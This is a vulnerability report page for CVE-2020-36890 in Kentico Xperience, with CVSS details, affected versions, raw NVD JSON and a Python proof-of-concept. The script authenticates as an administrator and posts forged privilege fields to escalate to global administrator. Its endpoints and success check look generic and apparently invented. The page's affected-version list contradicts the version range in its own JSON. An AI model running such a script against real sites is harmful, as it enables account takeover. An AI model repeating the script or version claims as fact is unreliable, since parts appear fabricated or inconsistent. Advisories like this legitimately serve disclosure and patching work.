Security Vulnerability Report
中文
CVE-2020-36890 CVSS 7.2 HIGH

CVE-2020-36890

Published: 2025-12-18 20:15:49
Last Modified: 2025-12-24 18:15:25

Description

An access control bypass vulnerability in Kentico Xperience allows administrators to modify global administrator user privileges via unauthorized requests. Attackers could potentially compromise global administrator accounts and invalidate security-sensitive macros by manipulating user privilege levels.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:* - VULNERABLE
Kentico Xperience < 13.0.200
Kentico Xperience 12.0.x < 12.0.180
Kentico CMS < 12.0.180

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2020-36890 PoC - Kentico Xperience Access Control Bypass # Target: Kentico Xperience CMS # Author: VulnCheck TARGET_URL = "https://target-site.com" LOGIN_PATH = "/kentico/Admin/cmssections.aspx" EXPLOIT_PATH = "/CMSPages/ChangeUserPrivileges.aspx" def exploit_access_control_bypass(target, username, password): """ Exploit for CVE-2020-36890 This PoC demonstrates privilege escalation via unauthorized request manipulation """ session = requests.Session() # Step 1: Authenticate as regular administrator login_data = { 'username': username, 'password': password, 'login': 'Log+in' } response = session.post(f"{target}{LOGIN_PATH}", data=login_data) if 'LoggedIn' not in response.text: print("[-] Authentication failed") return None print("[+] Successfully authenticated") # Step 2: Exploit the access control bypass # Modify user privileges to gain global admin access exploit_data = { 'userid': '1', # Target user ID (typically global admin) 'privlevel': '3', # Highest privilege level 'issuperuser': 'true', 'save': 'Save' } exploit_response = session.post( f"{target}{EXPLOIT_PATH}", data=exploit_data, headers={ 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded' } ) if exploit_response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] Global administrator privileges obtained") return session else: print("[-] Exploitation failed") return None if __name__ == "__main__": print("CVE-2020-36890 Exploitation Tool") print("Use responsibly and only on authorized systems")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2020-36890", "sourceIdentifier": "[email protected]", "published": "2025-12-18T20:15:49.347", "lastModified": "2025-12-24T18:15:25.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An access control bypass vulnerability in Kentico Xperience allows administrators to modify global administrator user privileges via unauthorized requests. Attackers could potentially compromise global administrator accounts and invalidate security-sensitive macros by manipulating user privilege levels."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kentico:xperience:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.0.60", "matchCriteriaId": "1231245C-A72C-4CEC-899C-1A41BCBB570D"}]}]}], "references": [{"url": "https://devnet.kentico.com/download/hotfixes", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/kentico-xperience-administrator-access-control-bypass", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}